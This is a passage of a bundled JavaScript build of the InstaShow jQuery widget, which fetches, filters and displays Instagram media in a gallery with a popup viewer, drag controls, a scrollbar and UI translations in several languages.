module.exports = Client;
},{"../jquery":21,"../u":28}],11:[function(require,module,exports){
"use strict";
var $ = require('../jquery');
var ComplexMediaFetcher = function (fetchers) {
var self = this;
self.fetchers = fetchers;
};
ComplexMediaFetcher.prototype = function () {
};
$.extend(ComplexMediaFetcher.prototype, {
fetch: function (count, q) {
var self = this;
q = q || $.Deferred();
var data;
var finished = 0;
var results = [];
var fetchersCount = self.fetchers.length;
var done = function () {
var dirtyData = [];
var filteredData = [];
$.each(results, function (i, resourceData) {
Array.prototype.push.apply(dirtyData, resourceData);
});
$.each(dirtyData, function (i, item) {
var duplicate = filteredData.some(function (b) {
return b.id === item.id;
});
if (!duplicate) {
filteredData.push(item);
}
});
filteredData.sort(function (a, b) {
return b.created_time - a.created_time;
});
data = filteredData.slice(0, count);
$.each(filteredData.slice(count).reverse(), function (i, media) {
media.fetcher.refund(media);
});
q.resolve(data);
};
var client = self.fetchers[0].client;
client.setDisplayErrors(false);
$.each(self.fetchers, function (i, fetcher) {
var fetchPromise = fetcher.fetch(count);
fetchPromise.always(function (result) {
if (fetchPromise.state() === 'resolved') {
results.push(result);
} else if (fetchersCount < 2) {
return;
} else {
self.fetchers = self.fetchers.filter(function (f, j) {
return i !== j;
});
}
if (++finished == fetchersCount) {
client.setDisplayErrors(true);
if (self.fetchers.length) {
done();
} else {
client.instapi.core.showError(client.lastErrorMessage);
}
}
});
});
return q.promise();
},
hasNext: function () {
var self = this;
return self.fetchers.some(function (f) {
return f.hasNext();
});
}
});
module.exports = ComplexMediaFetcher;
},{"../jquery":21}],12:[function(require,module,exports){
"use strict";
var $ = require('../jquery'), MediaFetcher = require('./media-fetcher');
var LocationMediaFetcher = function (client, sourceName, filter, postFilter) {
var self = this;
MediaFetcher.call(self, client, sourceName, filter, postFilter);
};
$.extend(LocationMediaFetcher, MediaFetcher);
LocationMediaFetcher.prototype = function () {
};
$.extend(LocationMediaFetcher.prototype, MediaFetcher.prototype, {
initialize: function () {
var self = this;
self.basePath = '/locations/' + self.sourceName + '/media/recent/';
}
});
module.exports = LocationMediaFetcher;
},{"../jquery":21,"./media-fetcher":13}],13:[function(require,module,exports){
"use strict";
var $ = require('../jquery'), Media = require('./media');
var MediaFetcher = function (client, sourceName, filters, postFilter) {
var self = this;
self.client = client;
self.sourceName = sourceName;
self.filters = filters;
self.postFilter = postFilter;
self.stack = [];
self.hasNextMedia = true;
self.nextPaginationUri = null;
self.basePath = null;
self.initialize();
};
MediaFetcher.prototype = function () {
};
$.extend(MediaFetcher.prototype, {
initialize: function () {
var self = this;
},
fetch: function (count, q) {
var self = this;
q = q || $.Deferred();
var data;
if (!self.hasNextMedia || count <= self.stack.length) {
data = self.stack.slice(0, count);
self.stack = self.stack.slice(count);
q.resolve(self.processData(data));
} else {
self.load().done(function (result) {
var data = result.data;
if ($.type(data) !== 'array') {
data = [data];
}
Array.prototype.push.apply(self.stack, data);
self.fetch(count, q);
}).fail(function (status) {
if (status === -1) {
q.reject();
} else {
self.fetch(count, q);
}
});
}
return q.promise();
},
load: function () {
var self = this;
var path, params;
var q = $.Deferred();
if (!self.hasNextMedia) {
q.reject();
} else {
params = { count: 33 };
path = self.nextPaginationUri ? self.nextPaginationUri : self.basePath;
self.client.get(path, params, null, self.client.instapi.core.options.cacheMediaTime).done(function (result) {
if (result.pagination && result.pagination.next_url) {
self.nextPaginationUri = result.pagination.next_url;
self.hasNextMedia = true;
} else {
self.nextPaginationUri = null;
self.hasNextMedia = false;
}
result.data = self.filterData(result.data);
q.resolve(result);
}).fail(function () {
q.reject(-1);
});
}
return q.promise();
},
processData: function (data) {
var self = this;
var collection = [];
$.each(data, function (i, itemData) {
collection.push(Media.create(self.client, itemData, self));
});
return collection;
},
filterData: function (data) {
var self = this;
if (!$.isArray(data)) {
data = [data];
}
var filters = {};
$.each(self.filters, function (i, f) {
if (typeof filters[f.type] === 'undefined') {
filters[f.type] = {};
}
if (typeof filters[f.type][f.logic] === 'undefined') {
filters[f.type][f.logic] = [];
}
var name = f.name;
filters[f.type][f.logic].push(name);
});
return data.filter(function (item) {
var flag = true;
$.each(filters, function (type, d) {
switch (type) {
case 'specific_media_shortcode':
flag &= !d.only || d.only.some(function (name) {
return !!~item.link.indexOf(name);
});
flag &= !(d.except && d.except.some(function (name) {
return !!~item.link.indexOf(name);
}));
break;
case 'specific_media_id':
flag &= !d.only || !!~d.only.indexOf(item.id);
flag &= !d.except || !~d.except.indexOf(item.id);
break;
case 'tag':
item.tags = item.tags || [];
item.tags = item.tags.map(function (name) {
return name.toLowerCase();
});
if (d.only) {
$.each(d.only, function (i, name) {
flag &= !!~item.tags.indexOf(name);
});
}
flag &= !(d.except && d.except.some(function (name) {
return !!~item.tags.indexOf(name);
}));
break;
case 'user':
flag &= !d.only || !!~d.only.indexOf(item.user.username);
flag &= !d.except || !~d.except.indexOf(item.user.username);
break;
case 'location':
if (item.location) {
flag &= !d.only || !!~d.only.indexOf(item.location.id);
flag &= !d.except || !~d.except.indexOf(item.location.id);
} else {
flag = false;
}
break;
}
});
if (flag && $.type(self.postFilter) === 'function') {
flag = !!self.postFilter(item);
}
return flag;
});
},
refund: function (model) {
var self = this;
Array.prototype.unshift.call(self.stack, model.original);
},
hasNext: function () {
var self = this;
return self.stack.length || self.hasNextMedia;
}
});
module.exports = MediaFetcher;
},{"../jquery":21,"./media":14}],14:[function(require,module,exports){
"use strict";
var $ = require('../jquery'), Model = require('./model'), u = require('../u');
var Media = function (client, fetcher) {
var self = this;
Model.call(self, client, fetcher);
};
$.extend(Media, Model, {
findById: function (client, id, q) {
q = q || $.Deferred();
client.get('/media/' + id).done(function (result) {
var media = Media.create(client, result.data);
q.resolve(media);
});
return q.promise();
},
findByCode: function (client, code, q) {
q = q || $.Deferred();
client.get('/media/shortcode/' + code + '/').done(function (result) {
var media = Media.create(client, result.data);
q.resolve(media);
});
return q.promise();
}
});
$.extend(Media.prototype, Model.prototype, {
constructor: Media,
getLikesCount: function () {
var self = this;
return u.formatNumber(self.likes.count);
},
getCommentsCount: function () {
var self = this;
return u.formatNumber(self.comments.count);
},
getImageOrientation: function () {
var self = this;
var ratio = self.getImageRatio();
if (ratio > 1) {
return 'album';
} else if (ratio < 1) {
return 'portrait';
} else {
return 'square';
}
},
getImageRatio: function () {
var self = this;
var width = self.images.standard_resolution.width;
var height = self.images.standard_resolution.height;
return width / height;
}
});
module.exports = Media;
},{"../jquery":21,"../u":28,"./model":15}],15:[function(require,module,exports){
"use strict";
var $ = require('../jquery');
var Model = function (client, fetcher) {
var self = this;
self.fetcher = fetcher;
self.client = client;
};
$.extend(Model, {
create: function (client, itemData, fetcher) {
var item = new this(client, fetcher);
item.fill(itemData);
return item;
}
});
Model.prototype = function () {
};
$.extend(Model.prototype, {
fill: function (data) {
var self = this;
self.original = data;
$.extend(self, data);
}
});
module.exports = Model;
},{"../jquery":21}],16:[function(require,module,exports){
"use strict";
var $ = require('../jquery'), MediaFetcher = require('./media-fetcher');
var SpecificMediaFetcher = function (client, idType, sourceName, filter, postFilter) {
var self = this;
self.idType = idType;
MediaFetcher.call(self, client, sourceName, filter, postFilter);
};
$.extend(SpecificMediaFetcher, MediaFetcher);
SpecificMediaFetcher.prototype = function () {
};
$.extend(SpecificMediaFetcher.prototype, MediaFetcher.prototype, {
initialize: function () {
var self = this;
if (self.idType === 'specific_media_shortcode') {
self.basePath = '/media/shortcode/' + self.sourceName + '/';
} else if (self.idType === 'specific_media_id') {
self.basePath = '/media/' + self.sourceName + '/';
}
}
});
module.exports = SpecificMediaFetcher;
},{"../jquery":21,"./media-fetcher":13}],17:[function(require,module,exports){
"use strict";
var $ = require('../jquery'), MediaFetcher = require('./media-fetcher');
var TagMediaFetcher = function (client, sourceName, filter, postFilter) {
var self = this;
MediaFetcher.call(self, client, sourceName, filter, postFilter);
};
$.extend(TagMediaFetcher, MediaFetcher);
TagMediaFetcher.prototype = function () {
};
$.extend(TagMediaFetcher.prototype, MediaFetcher.prototype, {
initialize: function () {
var self = this;
self.basePath = '/tags/' + self.sourceName + '/media/recent/';
}
});
module.exports = TagMediaFetcher;
},{"../jquery":21,"./media-fetcher":13}],18:[function(require,module,exports){
"use strict";
var $ = require('../jquery'), MediaFetcher = require('./media-fetcher'), User = require('./user');
var UserMediaFetcher = function (client, sourceName, filter, postFilter) {
var self = this;
MediaFetcher.call(self, client, sourceName, filter, postFilter);
self.userId = null;
};
$.extend(UserMediaFetcher, MediaFetcher);
UserMediaFetcher.prototype = function () {
};
$.extend(UserMediaFetcher.prototype, MediaFetcher.prototype, {
initialize: function () {
},
fetch: function (count, q) {
var self = this;
q = q || $.Deferred();
var findIdPromise = $.Deferred();
if (!self.userId) {
User.findId(self.client, self.sourceName).done(function (id) {
self.userId = id;
self.basePath = '/users/' + id + '/media/recent/';
findIdPromise.resolve();
}).fail(function () {
self.client.instapi.core.showError('Sorry, user <strong>@' + self.sourceName + '</strong> can`t be found.');
});
} else {
findIdPromise.resolve();
}
findIdPromise.done(function () {
MediaFetcher.prototype.fetch.call(self, count, q);
});
return q.promise();
}
});
module.exports = UserMediaFetcher;
},{"../jquery":21,"./media-fetcher":13,"./user":19}],19:[function(require,module,exports){
"use strict";
var $ = require('../jquery'), Model = require('./model');
var User = function (client) {
var self = this;
Model.call(self, client);
};
$.extend(User, Model, {
constructor: User,
findId: function (client, name) {
var q = $.Deferred();
if (client.isAlternativeApi() || client.instapi.isSandbox()) {
q.resolve(name);
} else {
client.get('/users/search/', { q: name }, null, 604800).done(function (result) {
var id;
$.each(result.data, function (i, item) {
if (id) {
return;
}
if (item.username === name) {
id = item.id;
}
});
if (id) {
q.resolve(id);
} else {
q.reject();
}
});
}
return q.promise();
}
});
$.extend(User.prototype, Model.prototype, { constructor: User });
module.exports = User;
},{"../jquery":21,"./model":15}],20:[function(require,module,exports){
"use strict";
var $ = require('./jquery');
var Instashow = function () {
};
Instashow.prototype = function () {
};
$.extend(Instashow.prototype, {});
module.exports = Instashow;
},{"./jquery":21}],21:[function(require,module,exports){
"use strict";
module.exports = window.jQuery;
},{}],22:[function(require,module,exports){
"use strict";
var $ = require('./jquery');
var languages = {
'en': {},
'de': {
'View on Instagram': 'Folgen',
'w': 'Wo.',
'd': 'Tag',
'h': 'Std.',
'm': 'min',
's': 'Sek'
},
'es': {
'View on Instagram': 'Seguir',
'w': 'sem',
'd': 'd\xeda',
'h': 'h',
'm': 'min',
's': 's'
},
'fr': {
'View on Instagram': 'S`abonner',
'w': 'sem',
'd': 'j',
'h': 'h',
'm': 'min',
's': 's'
},
'it': {
'View on Instagram': 'Segui',
'w': 'sett.',
'd': 'g',
'h': 'h',
'm': 'm',
's': 's'
},
'nl': {
'View on Instagram': 'Volgen',
'w': 'w.',
'd': 'd.',
'h': 'u.',
'm': 'm.',
's': 's.'
},
'no': {
'View on Instagram': 'F\xf8lg',
'w': 'u',
'd': 'd',
'h': 't',
'm': 'm',
's': 's'
},
'pl': {
'View on Instagram': 'Obserwuj',
'w': 'w',
'd': 'dzie\u0144',
'h': 'godz.',
'm': 'min',
's': 's'
},
'pt-BR': {
'View on Instagram': 'Seguir',
'w': 'sem',
'd': 'd',
'h': 'h',
'm': 'min',
's': 's'
},
'sv': {
'View on Instagram': 'F?lj',
'w': 'v',
'd': 'd',
'h': 'h',
'm': 'min',
's': 'sek'
},
'tr': {
'View on Instagram': 'Takip et',
'w': 'h',
'd': 'g',
'h': 's',
'm': 'd',
's': 'sn'
},
'ru': {
'View on Instagram': '\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432 Instagram',
'w': '\u043d\u0435\u0434.',
'd': '\u0434\u043d.',
'h': '\u0447',
'm': '\u043c\u0438\u043d',
's': '\u0441'
},
'hi': {
'View on Instagram': '\u092b\u093c\u0949\u0932\u094b \u0915\u0930\u0947\u0902',
'w': '\u0938\u092a\u094d\u0924\u093e\u0939',
'd': '\u0926\u093f\u0928',
'h': '\u0918\u0902\u091f\u0947',
'm': '\u092e\u093f\u0928\u091f',
's': '\u0938\u0947\u0915\u0902\u0921'
},
'ko': {
'View on Instagram': '\ud314\ub85c\uc6b0',
'w': '\uc8fc',
'd': '\uc77c',
'h': '\uc2dc\uac04',
'm': '\ubd84',
's': '\ucd08'
},
'zh-HK': {
'View on Instagram': '\u5929\u6ce8',
'w': '\u5468',
'd': '\u5929',
'h': '\u5c0f\u65f6',
'm': '\u5206\u949f',
's': '\u79d2'
},
'ja': {
'View on Instagram': '\u30d5\u30a9\u30ed\u30fc\u3059\u308b',
'w': '\u9031\u9593\u524d',
'd': '\u65e5\u524d',
'h': '\u6642\u9593\u524d',
'm': '\u5206\u524d',
's': '\u79d2\u524d'
}
};
var Lang = function (core, id) {
var self = this;
self.core = core;
self.id = id;
self.currentLib = null;
self.initialize();
};
Lang.prototype = function () {
};
$.extend(Lang.prototype, {
initialize: function () {
var self = this;
self.currentLib = languages[self.id];
if (!self.currentLib) {
self.core.showError('Sorry, language "' + self.id + '" is undefined. See details in docs.');
return;
}
},
t: function (phrase) {
var self = this;
return self.currentLib[phrase] || phrase;
}
});
module.exports = Lang;
},{"./jquery":21}],23:[function(require,module,exports){
"use strict";
var $ = require('./jquery');
var Loader = function ($root, $element) {
var self = this;
self.$root = $root;
self.$element = $element;
self.timer = null;
self.initialize();
};
Loader.prototype = function () {
};
$.extend(Loader.prototype, {
initialize: function () {
var self = this;
self.$element.prependTo(self.$root);
},
show: function (timeout) {
var self = this;
self.timer = setTimeout(function () {
self.toggle(true);
}, timeout);
},
hide: function () {
var self = this;
if (self.timer) {
clearTimeout(self.timer);
self.timer = null;
}
self.toggle(false);
},
toggle: function (sw) {
var self = this;
self.$element.toggleClass('instashow-show', sw);
}
});
module.exports = Loader;
},{"./jquery":21}],24:[function(require,module,exports){
"use strict";
var $ = require('./jquery');
var $w = $(window);
module.exports = function (gallery) {
var pressed = false;
var start = 0;
var startProgress = 0;
var justAdded = false;
var isTouch = function (e) {
return /^touch/.test(e.type);
};
var begin = function (e) {
var touch = isTouch(e);
if (!touch) {
e.preventDefault();
e.stopPropagation();
}
if (gallery.isBusy()) {
return;
}
pressed = true;
startProgress = gallery.progress;
if (touch) {
start = gallery.isHorizontal() ? e.originalEvent.touches[0].clientX : e.originalEvent.touches[0].clientY;
} else {
start = gallery.isHorizontal() ? e.originalEvent.clientX : e.originalEvent.clientY;
}
};
var move = function (e) {
if (!pressed || gallery.isBusy()) {
pressed = false;
return;
}
e.preventDefault();
e.stopPropagation();
if (isTouch(e)) {
cur = gallery.isHorizontal() ? e.originalEvent.changedTouches[0].clientX : e.originalEvent.changedTouches[0].clientY;
} else {
cur = gallery.isHorizontal() ? e.originalEvent.clientX : e.originalEvent.clientY;
}
var progress, movingProgress, cur;
var hasNext = gallery.hasView(gallery.activeViewId + 1);
var hasPrevious = gallery.hasView(gallery.activeViewId - 1);
if (!hasNext && !justAdded && cur < start && gallery.hasNextView()) {
gallery.addView();
justAdded = true;
}
movingProgress = (start - cur) / gallery.getGlobalThreshold();
progress = startProgress + movingProgress;
if (movingProgress) {
gallery.drag = true;
}
var id = gallery.getViewIdByProgress(progress);
if (gallery.activeViewId !== id) {
gallery.setActiveView(id);
}
movingProgress = (start - cur) / gallery.getGlobalThreshold();
progress = startProgress + movingProgress;
var movement = progress > 1 && !hasNext || progress < 0 && !hasPrevious ? 0.2 : 1;
gallery.setProgress(progress);
gallery.translate(progress, false, movement);
};
var end = function (e) {
pressed = false;
if (!gallery.drag) {
return;
}
justAdded = false;
setTimeout(function () {
gallery.drag = false;
}, 0);
var progress, q;
var end = gallery.progress > 1 | 0;
gallery.puzzle();
if (gallery.progress < 0 || end) {
q = gallery.translate(end, true);
gallery.setProgress(end);
} else if (!gallery.isFreeMode()) {
progress = gallery.getViewStartProgress(gallery.getActiveView());
q = gallery.translate(progress, true);
gallery.setProgress(progress);
} else {
gallery.free();
return;
}
q.done(function () {
gallery.free();
});
};
return {
watch: function () {
gallery.$root.on('viewAdded.instaShow', function (e, id) {
startProgress = gallery.getAdjustedProgress(id - 1, startProgress);
});
if (gallery.options.dragControl) {
gallery.$root.on('mousedown', begin);
$w.on('mousemove', move);
$w.on('mouseup', end);
gallery.$root.on('click', function (e) {
if (gallery.drag) {
e.preventDefault();
e.stopPropagation();
}
});
}
if (gallery.options.scrollControl || gallery.options.dragControl) {
gallery.$root.on('touchstart', begin);
$w.on('touchmove', move);
$w.on('touchend', end);
}
}
};
};
},{"./jquery":21}],25:[function(require,module,exports){
"use strict";
var $ = require('./jquery'), views = require('./views'), u = require('./u'), Instapi = require('./instapi'), Media = require('./instapi/media'), SpecificMediaFetcher = require('./instapi/specific-media-fetcher');
var $w = $(window);
var Popup = function (core) {
var self = this;
self.core = core;
self.options = self.core.options;
self.showing = false;
self.$body = null;
self.$root = null;
self.$twilight = null;
self.$wrapper = null;
self.$container = null;
self.$controlClose = null;
self.$controlPrevious = null;
self.$controlNext = null;
self.$media = null;
self.video = null;
self.currentMedia = null;
self.optionInfo = null;
self.optionControl = null;
self.initialize();
self.watch();
};
$.extend(Popup, {
AVAILABLE_INFO: [
'username',
'instagramLink',
'passedTime',
'likesCounter',
'commentsCounter',
'description',
'comments',
'location'
]
});
Popup.prototype = function () {
};
$.extend(Popup.prototype, {
initialize: function () {
var self = this;
self.optionInfo = u.unifyMultipleOption(self.options.popupInfo);
self.moveDuration = parseInt(self.options.popupSpeed, 10);
self.easing = self.options.popupEasing;
if (self.optionInfo) {
self.optionInfo = self.optionInfo.filter(function (item) {
return !!~Popup.AVAILABLE_INFO.indexOf(item);
});
}
self.$body = $('body');
self.$root = $(views.popup.root());
self.$wrapper = self.$root.find('.instashow-popup-wrapper');
self.$container = self.$root.find('.instashow-popup-container');
self.$twilight = $(views.popup.twilight());
self.$controlClose = self.$container.find('.instashow-popup-control-close');
self.$controlNext = self.$container.find('.instashow-popup-control-arrow-next');
self.$controlPrevious = self.$container.find('.instashow-popup-control-arrow-previous');
self.$root.attr('id', 'instaShowPopup_' + self.core.id);
self.$twilight.prependTo(self.$root);
self.$root.appendTo(document.body);
},
open: function (media) {
var self = this;
if (self.showing || self.busy) {
return false;
}
self.core.gallery.autoRotator.stop();
self.$body.css('overflow', 'hidden');
self.busy = true;
self.findMediaId(media).done(function (id) {
self.currentMedia = id;
self.busy = false;
self.$root.trigger('popupMediaOpened.instaShow');
});
self.$root.css('display', '');
self.showMedia(media);
self.showing = true;
if (self.core.options.popupDeepLinking) {
window.location.hash = '#!is' + self.core.id + '/$' + media.code;
}
setTimeout(function () {
self.$root.addClass('instashow-show');
});
},
close: function () {
var self = this;
self.core.gallery.autoRotator.start();
self.showing = false;
self.$root.removeClass('instashow-show');
setTimeout(function () {
self.$root.css('display', 'none');
}, 500);
self.$body.css('overflow', '');
if (self.video) {
self.video.pause();
}
if (self.core.options.popupDeepLinking) {
window.location.hash = '!';
}
},
createMedia: function (media) {
var self = this;
if (self.core.options.popupHrImages) {
media.images.standard_resolution.url = media.images.standard_resolution.url.replace('s640x640', 's1080x1080');
}
var commentsCount = media.getCommentsCount();
var tplData = {
media: media,
options: {},
info: {
viewOnInstagram: self.core.lang.t('View on Instagram'),
likesCount: media.getLikesCount(),
commentsCount: commentsCount,
description: media.caption ? u.nl2br(Instapi.parseAnchors(media.caption.text)) : null,
location: media.location ? media.location.name : null,
passedTime: u.pretifyDate(media.created_time, self.core.lang)
}
};
if (self.optionInfo) {
$.each(self.optionInfo, function (i, item) {
tplData.options[item] = true;
});
}
tplData.options.hasDescription = tplData.options.description && media.caption;
tplData.options.hasLocation = tplData.options.location && media.location;
tplData.options.hasComments = tplData.options.comments;
tplData.options.hasProperties = tplData.options.hasLocation || tplData.options.likesCounter || tplData.options.commentsCounter;
tplData.options.isVideo = media.type === 'video';
tplData.options.hasOrigin = tplData.options.username || tplData.options.instagramLink;
tplData.options.hasMeta = tplData.options.hasProperties || tplData.options.passedTime;
tplData.options.hasContent = tplData.options.hasDescription || tplData.options.hasComments;
tplData.options.hasInfo = tplData.options.hasOrigin || tplData.options.hasMeta || tplData.options.hasContent;
var commentsList = $.extend(true, [], media.comments.data || []);
commentsList.map(function (item) {
item.text = u.nl2br(Instapi.parseAnchors(item.text));
return item;
});
if (commentsList) {
tplData.info.comments = views.popup.mediaComments({ list: commentsList });
}
var $media = $(views.popup.media(tplData));
if (tplData.options.isVideo) {
self.video = $media.find('video').get(0);
$media.find('.instashow-popup-media-video').click(function () {
$media.toggleClass('instashow-playing', self.video.paused);
if (self.video.paused) {
self.video.play();
} else {
self.video.pause();
}
});
}
$media.addClass('instashow-popup-media-' + media.getImageOrientation());
var img = new Image();
img.src = media.images.standard_resolution.url;
img.onload = function () {
$media.find('.instashow-popup-media-picture').addClass('instashow-popup-media-picture-loaded');
$media.css('transition-duration', '0s').toggleClass('instashow-popup-media-hr', img.width >= 1080);
$media.width();
$media.css('transition-duration', '');
self.adjust();
};
var $content, specificMediaFetcher;
if (self.core.instapi.client.isAlternativeApi() && !commentsList.length && commentsCount && $media.hasClass('instashow-popup-media-has-comments')) {
$content = $media.find('.instashow-popup-media-info-content');
if (!$content.length) {
$content = $('<div class="instashow-popup-media-info-content"></div>');
$content.appendTo($media.find('.instashow-popup-media-info'));
}
specificMediaFetcher = new SpecificMediaFetcher(self.core.instapi.client, 'specific_media_shortcode', media.code, []);
self.core.instapi.client.setDisplayErrors(false);
specificMediaFetcher.fetch().done(function (result) {
var extMedia = result[0];
media.comments.data = extMedia.comments.data;
var commentsList = $.extend(true, [], media.comments.data || []);
commentsList.map(function (item) {
item.text = u.nl2br(Instapi.parseAnchors(item.text));
return item;
});
var $comments = $(views.popup.mediaComments({ list: commentsList }));
$content.append($comments);
self.core.instapi.client.setDisplayErrors(true);
});
}
return $media;
},
showMedia: function (media) {
var self = this;
self.preloadImage(media.images.standard_resolution.url).done(function () {
var $media = self.createMedia(media);
if (self.$media) {
self.$media.replaceWith($media);
} else {
$media.appendTo(self.$container);
}
self.$media = $media;
self.adjust();
});
},
moveToMedia: function (id, immediately, q) {
var self = this;
q = q || $.Deferred();
id = parseInt(id, 10) || 0;
var $target, $both;
var duration = !immediately ? self.moveDuration || 0 : 0;
var isNext = id > self.currentMedia;
var $current = self.$media;
var targetMedia = self.getMedia(id);
if (self.isBusy() || !targetMedia) {
q.reject();
} else {
self.busy = true;
if (self.core.options.popupDeepLinking) {
window.location.hash = '#!is' + self.core.id + '/$' + targetMedia.code;
}
self.preloadImage(targetMedia.images.standard_resolution.url).done(function () {
$target = self.createMedia(targetMedia);
$both = $().add($current).add($target);
$target.toggleClass('instashow-popup-media-hr', $current.hasClass('instashow-popup-media-hr'));
$both.css({
transitionDuration: duration + 'ms',
transitionTimingFunction: self.easing
});
$target.addClass('instashow-popup-media-appearing');
if (isNext) {
$target.addClass('instashow-popup-media-next').appendTo(self.$container);
} else {
$target.addClass('instashow-popup-media-previous').prependTo(self.$container);
}
$both.width();
$target.removeClass('instashow-popup-media-next instashow-popup-media-previous');
if (isNext) {
$current.addClass('instashow-popup-media-previous');
} else {
$current.addClass('instashow-popup-media-next');
}
self.$media = $target;
setTimeout(function () {
$current.detach();
$both.removeClass('instashow-popup-media-appearing instashow-popup-media-next instashow-popup-media-previous').css({
transitionDuration: '',
transitionTimingFunction: ''
});
q.resolve();
}, duration + (u.isMobileDevice() ? 300 : 0));
});
}
q.done(function () {
self.busy = false;
self.currentMedia = id;
self.$root.trigger('popupMediaChanged.instaShow');
});
return q.promise();
},
preloadImage: function (url, q) {
var self = this;
q = q || $.Deferred();
var image = new Image();
image.src = url;
image.onload = function () {
q.resolve();
};
return q.promise();
},
followHash: function () {
var self = this;
var hash = window.location.hash;
var hashMatches = hash.match(new RegExp('#!is' + self.core.id + '/\\$(.+)$'));
if (self.isBusy() || !hashMatches || !hashMatches[1]) {
return;
}
var code = hashMatches[1];
Media.findByCode(self.core.instapi.client, code).done(function (media) {
self.open(media);
});
},
hasMedia: function (id) {
var self = this;
return !!self.getMedia(id);
},
hasNextMedia: function () {
var self = this;
return self.hasMedia(self.currentMedia + 1) || (!self.core.gallery.limit || self.core.gallery.mediaList.length < self.core.gallery.limit) && self.core.mediaFetcher.hasNext() || self.core.options.loop;
},
hasPreviousMedia: function () {
var self = this;
return self.hasMedia(self.currentMedia - 1) || self.core.options.loop && (self.core.gallery.limit && self.core.gallery.mediaList.length >= self.core.gallery.limit || !self.core.mediaFetcher.hasNext());
},
moveToNextMedia: function () {
var self = this;
var q = $.Deferred();
var target = self.currentMedia + 1;
if (!!self.getMedia(target)) {
self.moveToMedia(target, false, q);
} else if ((!self.core.gallery.limit || self.core.gallery.mediaList.length < self.core.gallery.limit) && self.core.mediaFetcher.hasNext()) {
self.core.gallery.addView().done(function () {
self.moveToMedia(target, false, q);
});
} else {
if (self.core.options.loop) {
self.moveToMedia(0, false, q);
} else {
q.reject();
}
}
return q.promise();
},
moveToPreviousMedia: function () {
var self = this;
var target = self.currentMedia - 1;
if (!self.hasMedia(target) && self.hasPreviousMedia()) {
target = self.core.gallery.mediaList.length - 1;
}
return self.moveToMedia(target, false);
},
findMediaId: function (media, q) {
var self = this;
q = q || $.Deferred();
var id = self.core.gallery.getMediaIdByNativeId(media.id);
if (!!~id) {
q.resolve(id);
} else {
self.core.gallery.addView().done(function () {
self.findMediaId(media, q);
}).fail(function () {
q.resolve(-1);
});
}
return q.promise();
},
getMedia: function (id) {
var self = this;
return self.core.gallery.mediaList[id] || null;
},
adjust: function () {
var self = this;
if (!self.$media) {
return;
}
self.$container.height(self.$media.height());
if (!u.isMobileDevice()) {
setTimeout(function () {
var ratio;
var windowHeight = $w.height();
var containerHeight = self.$media.innerHeight() + parseInt(self.$container.css('padding-top'), 10) + parseInt(self.$container.css('padding-bottom'), 10);
self.$container.css('top', windowHeight <= containerHeight ? 0 : windowHeight / 2 - containerHeight / 2);
});
}
},
isBusy: function () {
var self = this;
return self.busy;
},
isShowing: function () {
var self = this;
return self.showing;
},
watch: function () {
var self = this;
self.$wrapper.on('transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd', '.instashow-popup-media, .instashow-popup-container', function () {
setTimeout(function () {
self.adjust();
}, 17);
});
$w.resize(function () {
self.adjust();
});
self.$wrapper.click(function (e) {
if (e.target !== self.$wrapper.get(0)) {
return;
}
self.close();
});
self.$controlClose.click(function (e) {
e.preventDefault();
self.close();
});
self.$controlNext.click(function (e) {
e.preventDefault();
self.moveToNextMedia();
});
self.$controlPrevious.click(function (e) {
e.preventDefault();
self.moveToPreviousMedia();
});
$w.keydown(function (e) {
if (!self.showing || self.isBusy()) {
return;
}
switch (e.which) {
case 39:
self.moveToNextMedia();
break;
case 37:
self.moveToPreviousMedia();
break;
case 27:
self.close();
break;
}
});
var prevX, prevY, swipe;
if (u.isTouchDevice()) {
self.$root.on('touchstart', function (e) {
if (self.isBusy()) {
return;
}
prevX = e.originalEvent.touches[0].clientX;
prevY = e.originalEvent.touches[0].clientY;
});
self.$root.on('touchend', function (e) {
if (self.isBusy()) {
return;
}
var cur = e.originalEvent.changedTouches[0].clientX;
if (swipe) {
if (cur > prevX) {
self.moveToPreviousMedia();
} else if (cur < prevX) {
self.moveToNextMedia();
}
}
});
self.$root.on('touchmove', function (e) {
if (self.isBusy()) {
return;
}
var curX = e.originalEvent.changedTouches[0].clientX;
var curY = e.originalEvent.changedTouches[0].clientY;
swipe = Math.abs(prevY - curY) < Math.abs(prevX - curX);
if (swipe) {
e.preventDefault();
e.stopPropagation();
}
});
}
$w.on('hashchange', function () {
self.followHash();
});
self.core.gallery.$root.on('initialized.instaShow', function () {
self.followHash();
});
self.$root.on('popupMediaOpened.instaShow popupMediaChanged.instaShow', function () {
self.$controlPrevious.toggleClass('instashow-disabled', !self.hasPreviousMedia());
self.$controlNext.toggleClass('instashow-disabled', !self.hasNextMedia());
});
}
});
module.exports = Popup;
},{"./instapi":8,"./instapi/media":14,"./instapi/specific-media-fetcher":16,"./jquery":21,"./u":28,"./views":29}],26:[function(require,module,exports){
"use strict";
var $ = require('./jquery'), views = require('./views');
var Scrollbar = function (gallery) {
var self = this;
self.gallery = gallery;
self.initialize();
self.watch();
};
Scrollbar.prototype = function () {
};
$.extend(Scrollbar.prototype, {
initialize: function () {
var self = this;
self.$element = $(views.gallery.scroll());
self.$slider = self.$element.children().first();
if (self.gallery.options.scrollbar) {
self.$element.appendTo(self.gallery.$root);
}
},
fit: function () {
var self = this;
var progress = self.gallery.progress;
var viewsCount = self.gallery.$viewsList.length;
if (self.gallery.viewsCastled) {
viewsCount -= 2;
}
if (progress < 0) {
progress = 0;
} else if (progress > 1) {
progress = 1;
}
var size = self.gallery.isHorizontal() ? self.$element.width() : self.$element.height();
var sliderSize = size / viewsCount;
var offset = (size - sliderSize) * progress;
if (!sliderSize || !isFinite(sliderSize)) {
return;
}
var sliderStyle;
if (self.gallery.isHorizontal()) {
sliderStyle = {
transform: 'translate3d(' + offset + 'px, 0, 0)',
width: sliderSize
};
} else {
sliderStyle = {
transform: 'translate3d(0, ' + offset + 'px, 0)',
height: sliderSize
};
}
self.$slider.css(sliderStyle);
},
watch: function () {
var self = this;
self.gallery.$root.on('progressChanged.instaShow', function () {
self.fit();
});
}
});
module.exports = Scrollbar;
},{"./jquery":21,"./views":29}],27:[function(require,module,exports){
"use strict";
var $ = require('./jquery');
var translateTimer;
module.exports = {
slide: function (progress, smoothly, movement, q) {
var self = this;
movement = movement || 1;
var duration = 0;
var easing = '';
if (smoothly) {
duration = self.options.speed;
easing = self.options.easing;
translateTimer = setTimeout(function () {
self.$container.css({
transitionDuration: '',
transitionTimingFunction: ''
});
q.resolve();
}, duration);
} else {
q.resolve();
}
self.$container.css({
